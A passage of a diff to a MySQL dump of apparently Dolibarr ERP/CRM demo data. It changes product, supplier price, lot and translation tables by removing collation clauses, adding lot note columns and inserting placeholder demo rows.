17:21:34',11,10,'ggg','',0,0.00000000,10,0,0,0.00000000,0.00000000,0.000,NULL,0,12,NULL,1,NULL,NULL,NULL,NULL,1.00000000,0.00000000,1,'EUR',0.00000000,0.000,'0',0.000,'0',NULL,2,NULL),(5,'2020-01-01 18:04:14','2020-01-01 16:11:36',1,17,'BK01','',0,79.16667000,1,0,0,79.16667000,0.00000000,12.500,NULL,0,12,NULL,1,NULL,NULL,NULL,NULL,1.20000000,95.00000000,2,'USD',95.00000000,0.000,'0',0.000,'0',NULL,2,NULL),(6,'2020-01-01 18:36:40','2020-01-01 14:36:40',2,17,'BKPEARPIE','',0,7.00000000,1,0,0,7.00000000,0.00000000,20.000,NULL,0,12,NULL,1,NULL,NULL,NULL,NULL,1.00000000,7.00000000,1,'EUR',7.00000000,0.000,'0',0.000,'0',NULL,2,NULL),(7,'2020-01-20 12:22:00','2020-01-20 11:22:00',1,17,'bbb','',0,1000.00000000,10,0,0,100.00000000,0.00000000,12.500,NULL,0,12,NULL,1,NULL,NULL,NULL,NULL,1.00000000,100.00000000,1,'EUR',1000.00000000,0.000,'0',0.000,'0',NULL,2,NULL); +INSERT INTO `llx_product_fournisseur_price` VALUES (2,'2018-07-30 17:34:38','2018-07-30 13:34:38',12,10,'BASIC',NULL,0,9.00000000,1,0,0,9.00000000,0.00000000,0.000,NULL,0,12,NULL,1,NULL,NULL,NULL,'FAVORITE',1.00000000,NULL,NULL,NULL,NULL,0.000,'0',0.000,'0',NULL,NULL,NULL),(3,'2017-02-02 05:17:08','2017-02-02 01:17:08',1,10,'aaa',NULL,0,100.00000000,1,10,0,100.00000000,0.00000000,12.500,NULL,0,12,NULL,1,NULL,NULL,NULL,NULL,1.00000000,NULL,NULL,NULL,NULL,0.000,'0',0.000,'0',NULL,NULL,NULL),(4,'2019-10-08 19:21:34','2019-10-08 17:21:34',11,10,'ggg','',0,0.00000000,10,0,0,0.00000000,0.00000000,0.000,NULL,0,12,NULL,1,NULL,NULL,NULL,NULL,1.00000000,0.00000000,1,'EUR',0.00000000,0.000,'0',0.000,'0',NULL,2,NULL),(5,'2020-01-01 18:04:14','2020-01-01 16:11:36',1,17,'BK01','',0,79.16667000,1,0,0,79.16667000,0.00000000,12.500,NULL,0,12,NULL,1,NULL,NULL,NULL,NULL,1.20000000,95.00000000,2,'USD',95.00000000,0.000,'0',0.000,'0',NULL,2,NULL),(6,'2020-01-01 18:36:40','2020-01-01 14:36:40',2,17,'BKPEARPIE','',0,7.00000000,1,0,0,7.00000000,0.00000000,20.000,NULL,0,12,NULL,1,NULL,NULL,NULL,NULL,1.00000000,7.00000000,1,'EUR',7.00000000,0.000,'0',0.000,'0',NULL,2,NULL),(7,'2020-01-20 12:22:00','2020-01-20 11:22:00',1,17,'bbb','',0,1000.00000000,10,0,0,100.00000000,0.00000000,12.500,NULL,0,12,NULL,1,NULL,NULL,NULL,NULL,1.00000000,100.00000000,1,'EUR',1000.00000000,0.000,'0',0.000,'0',NULL,2,NULL),(8,'2022-12-16 10:01:17','2022-12-16 10:01:55',5,17,'aaa','',0,123.00000000,1,0,0,123.00000000,0.00000000,4.000,NULL,0,12,NULL,1,NULL,NULL,NULL,NULL,1.00000000,123.00000000,1,'EUR',123.00000000,0.000,'0',0.000,'0',NULL,2,NULL),(9,'2022-12-16 10:03:15','2022-12-16 10:52:05',5,1,'iii','',0,5.00000000,1,0,0,5.00000000,0.00000000,4.000,'aaa',0,12,NULL,1,NULL,NULL,NULL,NULL,1.00000000,5.00000000,1,'EUR',5.00000000,0.000,'0',0.000,'0',NULL,2,NULL); /*!40000 ALTER TABLE `llx_product_fournisseur_price` ENABLE KEYS */; UNLOCK TABLES; @@ -10808,7 +10039,7 @@ CREATE TABLE `llx_product_fournisseur_price_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_product_fournisseur_price_extrafields` (`fk_object`) ) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -10839,12 +10070,12 @@ CREATE TABLE `llx_product_fournisseur_price_log` ( `quantity` double DEFAULT NULL, `fk_user` int(11) DEFAULT NULL, `fk_multicurrency` int(11) DEFAULT NULL, - `multicurrency_code` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(3) DEFAULT NULL, `multicurrency_tx` double(24,8) DEFAULT 1.00000000, `multicurrency_price` double(24,8) DEFAULT NULL, `multicurrency_unitprice` double(24,8) DEFAULT NULL, PRIMARY KEY (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=13 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=17 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -10853,7 +10084,7 @@ CREATE TABLE `llx_product_fournisseur_price_log` ( LOCK TABLES `llx_product_fournisseur_price_log` WRITE; /*!40000 ALTER TABLE `llx_product_fournisseur_price_log` DISABLE KEYS */; -INSERT INTO `llx_product_fournisseur_price_log` VALUES (1,'2012-07-11 18:45:42',1,10.00000000,1,1,NULL,NULL,1.00000000,NULL,NULL),(2,'2019-10-08 19:21:34',4,0.00000000,10,12,1,'EUR',1.00000000,0.00000000,0.00000000),(3,'2020-01-01 18:04:14',5,12.00000000,1,12,1,'EUR',1.00000000,12.00000000,12.00000000),(4,'2020-01-01 18:04:31',5,95.00000000,1,12,1,'EUR',1.00000000,95.00000000,95.00000000),(5,'2020-01-01 18:36:40',6,7.00000000,1,12,1,'EUR',1.00000000,7.00000000,7.00000000),(6,'2020-01-01 19:32:31',5,95.00000000,1,12,1,'EUR',1.00000000,95.00000000,95.00000000),(7,'2020-01-01 19:38:32',5,79.16667000,1,12,2,'USD',1.20000000,95.00000000,95.00000000),(8,'2020-01-01 19:54:17',5,95.00000000,1,12,1,'EUR',1.00000000,95.00000000,95.00000000),(9,'2020-01-01 19:54:54',5,79.16667000,1,12,2,'USD',1.20000000,95.00000000,95.00000000),(10,'2020-01-01 20:05:02',5,95.00000000,1,12,1,'EUR',1.00000000,95.00000000,95.00000000),(11,'2020-01-01 20:11:36',5,79.16667000,1,12,2,'USD',1.20000000,95.00000000,95.00000000),(12,'2020-01-20 12:22:00',7,1000.00000000,10,12,1,'EUR',1.00000000,1000.00000000,100.00000000); +INSERT INTO `llx_product_fournisseur_price_log` VALUES (1,'2012-07-11 18:45:42',1,10.00000000,1,1,NULL,NULL,1.00000000,NULL,NULL),(2,'2019-10-08 19:21:34',4,0.00000000,10,12,1,'EUR',1.00000000,0.00000000,0.00000000),(3,'2020-01-01 18:04:14',5,12.00000000,1,12,1,'EUR',1.00000000,12.00000000,12.00000000),(4,'2020-01-01 18:04:31',5,95.00000000,1,12,1,'EUR',1.00000000,95.00000000,95.00000000),(5,'2020-01-01 18:36:40',6,7.00000000,1,12,1,'EUR',1.00000000,7.00000000,7.00000000),(6,'2020-01-01 19:32:31',5,95.00000000,1,12,1,'EUR',1.00000000,95.00000000,95.00000000),(7,'2020-01-01 19:38:32',5,79.16667000,1,12,2,'USD',1.20000000,95.00000000,95.00000000),(8,'2020-01-01 19:54:17',5,95.00000000,1,12,1,'EUR',1.00000000,95.00000000,95.00000000),(9,'2020-01-01 19:54:54',5,79.16667000,1,12,2,'USD',1.20000000,95.00000000,95.00000000),(10,'2020-01-01 20:05:02',5,95.00000000,1,12,1,'EUR',1.00000000,95.00000000,95.00000000),(11,'2020-01-01 20:11:36',5,79.16667000,1,12,2,'USD',1.20000000,95.00000000,95.00000000),(12,'2020-01-20 12:22:00',7,1000.00000000,10,12,1,'EUR',1.00000000,1000.00000000,100.00000000),(13,'2022-12-16 10:01:17',8,123.00000000,1,12,1,'EUR',1.00000000,123.00000000,123.00000000),(14,'2022-12-16 10:01:55',8,123.00000000,1,12,1,'EUR',1.00000000,123.00000000,123.00000000),(15,'2022-12-16 10:03:15',9,0.00000000,1,12,1,'EUR',1.00000000,0.00000000,0.00000000),(16,'2022-12-16 10:03:28',9,5.00000000,1,12,1,'EUR',1.00000000,5.00000000,5.00000000); /*!40000 ALTER TABLE `llx_product_fournisseur_price_log` ENABLE KEYS */; UNLOCK TABLES; @@ -10867,15 +10098,15 @@ DROP TABLE IF EXISTS `llx_product_lang`; CREATE TABLE `llx_product_lang` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_product` int(11) NOT NULL DEFAULT 0, - `lang` varchar(5) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', - `label` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `lang` varchar(5) NOT NULL DEFAULT '0', + `label` varchar(255) NOT NULL, + `description` text DEFAULT NULL, + `note` text DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_product_lang` (`fk_product`,`lang`), CONSTRAINT `fk_product_lang_fk_product` FOREIGN KEY (`fk_product`) REFERENCES `llx_product` (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=27 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=30 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -10884,7 +10115,7 @@ CREATE TABLE `llx_product_lang` ( LOCK TABLES `llx_product_lang` WRITE; /*!40000 ALTER TABLE `llx_product_lang` DISABLE KEYS */; -INSERT INTO `llx_product_lang` VALUES (1,1,'en_US','Pink dress','A beatifull pink dress','',NULL),(2,2,'en_US','Pear Pie','','',NULL),(3,3,'en_US','Cake making contribution','','',NULL),(4,4,'fr_FR','Decapsuleur','','',NULL),(5,5,'en_US','DoliDroid, Android app for Dolibarr','DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

','',NULL),(9,11,'fr_FR','hfghf','','',NULL),(10,2,'fr_FR','Product P1','','',NULL),(11,4,'en_US','Apple Pie','Nice Bio Apple Pie.
\r\n ','',NULL),(12,11,'en_US','Rollup Dolibarr','A nice rollup','',NULL),(13,10,'en_US','Computer XP4523','A powerfull computer XP4523 ','This product is imported.
\r\nWarning: Delay to get it are not reliable.',NULL),(14,12,'en_US','SaaS hosting of Dolibarr ERP CRM','Cloud hosting of Dolibarr ERP and CRM software','',NULL),(15,12,'fr_FR','Service SaaS Hébergement Dolibarr ERP CRM','Service SaaS d'hébergement de la solution Dolibarr ERP CRM','',NULL),(16,13,'en_US','Computer XP4523','A powerfull computer XP4523 ',NULL,NULL),(17,13,'fr_FR','Computer XP4523','A powerfull computer XP4523 ',NULL,NULL),(19,24,'en_US','Carrot','',NULL,NULL),(20,25,'en_US','Apple','',NULL,NULL),(21,26,'en_US','Kiwi','',NULL,NULL),(22,27,'en_US','Peach','',NULL,NULL),(23,28,'en_US','Orange','',NULL,NULL),(24,29,'en_US','Eggs','',NULL,NULL),(25,30,'en_US','Chips','',NULL,NULL),(26,31,'en_US','Product NFC - Unique','',NULL,NULL); +INSERT INTO `llx_product_lang` VALUES (1,1,'en_US','Pink dress','A beatifull pink dress','',NULL),(2,2,'en_US','Pear Pie','','',NULL),(3,3,'en_US','Cake making contribution','','',NULL),(4,4,'fr_FR','Decapsuleur','','',NULL),(5,5,'en_US','DoliDroid, Android app for Dolibarr','DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

','',NULL),(9,11,'fr_FR','hfghf','','',NULL),(10,2,'fr_FR','Product P1','','',NULL),(11,4,'en_US','Apple Pie','Nice Bio Apple Pie.
\r\n ','',NULL),(12,11,'en_US','Rollup Dolibarr','A nice rollup','',NULL),(13,10,'en_US','Computer XP4523','A powerfull computer XP4523 ','This product is imported.
\r\nWarning: Delay to get it are not reliable.',NULL),(14,12,'en_US','SaaS hosting of Dolibarr ERP CRM','Cloud hosting of Dolibarr ERP and CRM software','',NULL),(15,12,'fr_FR','Service SaaS Hébergement Dolibarr ERP CRM','Service SaaS d'hébergement de la solution Dolibarr ERP CRM','',NULL),(16,13,'en_US','Computer XP4523','A powerfull computer XP4523 ',NULL,NULL),(17,13,'fr_FR','Computer XP4523','A powerfull computer XP4523 ',NULL,NULL),(19,24,'en_US','Carrot','',NULL,NULL),(20,25,'en_US','Apple','',NULL,NULL),(21,26,'en_US','Kiwi','',NULL,NULL),(22,27,'en_US','Peach','',NULL,NULL),(23,28,'en_US','Orange','',NULL,NULL),(24,29,'en_US','Eggs','',NULL,NULL),(25,30,'en_US','Chips','',NULL,NULL),(26,31,'en_US','Product NFC - Unique','',NULL,NULL),(27,32,'en_US','aaa','',NULL,NULL),(28,33,'en_US','aaa Size XL Blue','Size: Size XL
Color: Blue',NULL,NULL),(29,34,'en_US','aaa Size L Red','(discussion, voting, 1+7 CHs, cooperates with HCS 5100Plus series can achieve 8 CHs simultaneous audio, charcoal gray, excl. battery)',NULL,NULL); /*!40000 ALTER TABLE `llx_product_lang` ENABLE KEYS */; UNLOCK TABLES; @@ -10899,7 +10130,9 @@ CREATE TABLE `llx_product_lot` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) DEFAULT 1, `fk_product` int(11) NOT NULL, - `batch` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `batch` varchar(30) DEFAULT NULL, + `note_public` text DEFAULT NULL, + `note_private` text DEFAULT NULL, `eatby` date DEFAULT NULL, `sellby` date DEFAULT NULL, `datec` datetime DEFAULT NULL, @@ -10910,11 +10143,11 @@ CREATE TABLE `llx_product_lot` ( `eol_date` datetime DEFAULT NULL, `manufacturing_date` datetime DEFAULT NULL, `scrapping_date` datetime DEFAULT NULL, - `barcode` varchar(180) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `barcode` varchar(180) DEFAULT NULL, `fk_barcode_type` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_product_lot` (`fk_product`,`batch`) -) ENGINE=InnoDB AUTO_INCREMENT=51 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=52 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -10923,7 +10156,7 @@ CREATE TABLE `llx_product_lot` ( LOCK TABLES `llx_product_lot` WRITE; /*!40000 ALTER TABLE `llx_product_lot` DISABLE KEYS */; -INSERT INTO `llx_product_lot` VALUES (1,1,2,'123456','2018-07-07',NULL,'2018-07-21 20:55:19','2018-12-12 10:53:58',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(2,1,2,'2222','2018-07-08','2018-07-07','2018-07-21 21:00:42','2018-12-12 10:53:58',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(3,1,10,'5599887766452',NULL,NULL,'2018-07-30 17:39:31','2018-12-12 10:53:58',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(4,1,10,'4494487766452',NULL,NULL,'2018-07-30 17:40:12','2018-12-12 10:53:58',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(39,1,1,'000000',NULL,NULL,'2020-01-08 20:41:18','2020-01-08 16:41:18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(40,1,4,'aaa','2020-01-01',NULL,'2020-01-08 20:41:18','2020-01-13 11:28:05',NULL,12,NULL,NULL,NULL,NULL,NULL,NULL),(46,1,1,'string',NULL,NULL,'2020-01-18 20:16:58','2020-01-18 19:16:58',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(47,1,4,'000000',NULL,NULL,'2020-01-08 16:40:27','2020-01-21 10:30:15',1,1,NULL,NULL,NULL,NULL,NULL,NULL),(50,1,4,'Lot 2021-02',NULL,NULL,'2021-04-15 08:40:18','2021-04-15 11:40:18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL); +INSERT INTO `llx_product_lot` VALUES (1,1,2,'123456',NULL,NULL,'2018-07-07',NULL,'2018-07-21 20:55:19','2018-12-12 10:53:58',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(2,1,2,'2222',NULL,NULL,'2018-07-08','2018-07-07','2018-07-21 21:00:42','2018-12-12 10:53:58',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(3,1,10,'5599887766452',NULL,NULL,NULL,NULL,'2018-07-30 17:39:31','2018-12-12 10:53:58',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(4,1,10,'4494487766452',NULL,NULL,NULL,NULL,'2018-07-30 17:40:12','2018-12-12 10:53:58',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(39,1,1,'000000',NULL,NULL,NULL,NULL,'2020-01-08 20:41:18','2020-01-08 16:41:18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(40,1,4,'aaa',NULL,NULL,'2020-01-01',NULL,'2020-01-08 20:41:18','2020-01-13 11:28:05',NULL,12,NULL,NULL,NULL,NULL,NULL,NULL),(46,1,1,'string',NULL,NULL,NULL,NULL,'2020-01-18 20:16:58','2020-01-18 19:16:58',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(47,1,4,'000000',NULL,NULL,NULL,NULL,'2020-01-08 16:40:27','2020-01-21 10:30:15',1,1,NULL,NULL,NULL,NULL,NULL,NULL),(50,1,4,'Lot 2021-02',NULL,NULL,NULL,NULL,'2021-04-15 08:40:18','2021-04-15 11:40:18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL); /*!40000 ALTER TABLE `llx_product_lot` ENABLE KEYS */; UNLOCK TABLES; @@ -10938,7 +10171,7 @@ CREATE TABLE `llx_product_lot_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_product_lot_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -10964,12 +10197,12 @@ CREATE TABLE `llx_product_perentity` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_product` int(11) DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `accountancy_code_sell` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `accountancy_code_sell_intra` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `accountancy_code_sell_export` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `accountancy_code_buy` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `accountancy_code_buy_intra` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `accountancy_code_buy_export` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `accountancy_code_sell` varchar(32) DEFAULT NULL, + `accountancy_code_sell_intra` varchar(32) DEFAULT NULL, + `accountancy_code_sell_export` varchar(32) DEFAULT NULL, + `accountancy_code_buy` varchar(32) DEFAULT NULL, + `accountancy_code_buy_intra` varchar(32) DEFAULT NULL, + `accountancy_code_buy_export` varchar(32) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_product_perentity` (`fk_product`,`entity`), KEY `idx_product_perentity_fk_product` (`fk_product`) @@ -11003,21 +10236,21 @@ CREATE TABLE `llx_product_price` ( `price_ttc` double(24,8) DEFAULT NULL, `price_min` double(24,8) DEFAULT NULL, `price_min_ttc` double(24,8) DEFAULT NULL, - `price_base_type` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT 'HT', + `price_base_type` varchar(3) DEFAULT 'HT', `tva_tx` double(6,3) NOT NULL DEFAULT 0.000, - `default_vat_code` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `default_vat_code` varchar(10) DEFAULT NULL, `recuperableonly` int(11) NOT NULL DEFAULT 0, `localtax1_tx` double(6,3) DEFAULT 0.000, - `localtax1_type` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', + `localtax1_type` varchar(10) NOT NULL DEFAULT '0', `localtax2_tx` double(6,3) DEFAULT 0.000, - `localtax2_type` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', + `localtax2_type` varchar(10) NOT NULL DEFAULT '0', `fk_user_author` int(11) DEFAULT NULL, `tosell` tinyint(4) DEFAULT 1, `price_by_qty` int(11) NOT NULL DEFAULT 0, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `fk_price_expression` int(11) DEFAULT NULL, `fk_multicurrency` int(11) DEFAULT NULL, - `multicurrency_code` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(3) DEFAULT NULL, `multicurrency_price` double(24,8) DEFAULT 0.00000000, `multicurrency_tx` double(24,8) DEFAULT 1.00000000, `multicurrency_price_ttc` double(24,8) DEFAULT NULL, @@ -11026,7 +10259,7 @@ CREATE TABLE `llx_product_price` ( KEY `idx_product_price_fk_product` (`fk_product`), CONSTRAINT `fk_product_price_product` FOREIGN KEY (`fk_product`) REFERENCES `llx_product` (`rowid`), CONSTRAINT `fk_product_price_user_author` FOREIGN KEY (`fk_user_author`) REFERENCES `llx_user` (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=42 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=48 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -11035,7 +10268,7 @@ CREATE TABLE `llx_product_price` ( LOCK TABLES `llx_product_price` WRITE; /*!40000 ALTER TABLE `llx_product_price` DISABLE KEYS */; -INSERT INTO `llx_product_price` VALUES (1,1,'2012-07-08 12:33:17',1,'2012-07-08 14:33:17',1,0.00000000,0.00000000,0.00000000,0.00000000,'HT',12.500,NULL,0,0.000,'0',0.000,'0',1,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(2,1,'2012-07-08 22:30:01',2,'2012-07-09 00:30:01',1,0.00000000,0.00000000,0.00000000,0.00000000,'HT',12.500,NULL,0,0.000,'0',0.000,'0',1,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(3,1,'2012-07-08 22:30:25',3,'2012-07-09 00:30:25',1,0.00000000,0.00000000,0.00000000,0.00000000,'HT',12.500,NULL,0,0.000,'0',0.000,'0',1,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(4,1,'2012-07-10 12:44:06',4,'2012-07-10 14:44:06',1,0.00000000,0.00000000,0.00000000,0.00000000,'HT',12.500,NULL,0,0.000,'0',0.000,'0',1,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(5,1,'2013-07-20 21:11:38',5,'2013-07-20 23:11:38',1,0.00000000,0.00000000,0.00000000,0.00000000,'HT',19.600,NULL,0,0.000,'0',0.000,'0',1,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(6,1,'2013-07-27 17:02:59',5,'2013-07-27 19:02:59',1,10.00000000,11.96000000,0.00000000,0.00000000,'HT',19.600,NULL,0,0.000,'0',0.000,'0',1,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(10,1,'2013-07-31 22:34:27',4,'2013-08-01 00:34:27',1,5.00000000,5.62500000,0.00000000,0.00000000,'HT',12.500,NULL,0,0.000,'0',0.000,'0',1,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(12,1,'2015-01-13 19:24:59',11,'2015-01-13 20:24:59',1,0.00000000,0.00000000,0.00000000,0.00000000,'HT',0.000,NULL,0,0.000,'0',0.000,'0',1,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(13,1,'2015-03-12 09:30:24',1,'2015-03-12 10:30:24',1,100.00000000,112.50000000,90.00000000,101.25000000,'HT',12.500,NULL,0,0.000,'0',0.000,'0',1,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(14,1,'2018-07-30 13:31:29',12,'2018-07-30 17:31:29',1,9.00000000,9.00000000,9.00000000,9.00000000,'HT',0.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(15,1,'2017-02-15 23:49:00',13,'2017-02-16 03:49:00',1,100.00000000,110.00000000,0.00000000,0.00000000,'HT',10.000,NULL,0,0.000,'0',0.000,'0',12,0,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(16,1,'2017-08-30 15:04:04',10,'2017-08-30 19:04:04',1,100.00000000,110.00000000,0.00000000,0.00000000,'HT',10.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(18,1,'2019-11-28 12:33:35',24,'2019-11-28 16:33:35',1,0.00000000,0.00000000,0.00000000,0.00000000,'HT',20.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(19,1,'2019-11-28 12:34:33',24,'2019-11-28 16:34:33',1,0.83333000,1.00000000,0.00000000,0.00000000,'TTC',20.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(20,1,'2019-11-28 12:37:36',25,'2019-11-28 16:37:36',1,0.00000000,0.00000000,0.00000000,0.00000000,'HT',20.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(21,1,'2019-11-28 12:37:58',25,'2019-11-28 16:37:58',1,1.25000000,1.50000000,0.00000000,0.00000000,'TTC',20.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(22,1,'2019-11-28 12:38:44',26,'2019-11-28 16:38:44',1,1.08333000,1.30000000,0.00000000,0.00000000,'TTC',20.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(23,1,'2019-11-28 12:39:21',27,'2019-11-28 16:39:21',1,1.08333000,1.30000000,0.00000000,0.00000000,'TTC',20.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(24,1,'2019-11-28 12:39:58',28,'2019-11-28 16:39:58',1,2.00000000,2.40000000,0.00000000,0.00000000,'HT',20.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(25,1,'2019-11-28 13:03:14',29,'2019-11-28 17:03:14',1,1.66667000,2.00000000,0.00000000,0.00000000,'TTC',20.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(26,1,'2019-11-28 13:09:14',30,'2019-11-28 17:09:14',1,0.41667000,0.50000000,0.00000000,0.00000000,'TTC',20.000,NULL,0,0.000,'0',0.000,'0',12,1,0,NULL,NULL,NULL,NULL,0.00000000,1.00000000,NULL),(28,1,'2019-11-28 15:12:50',2,'2019-11-28 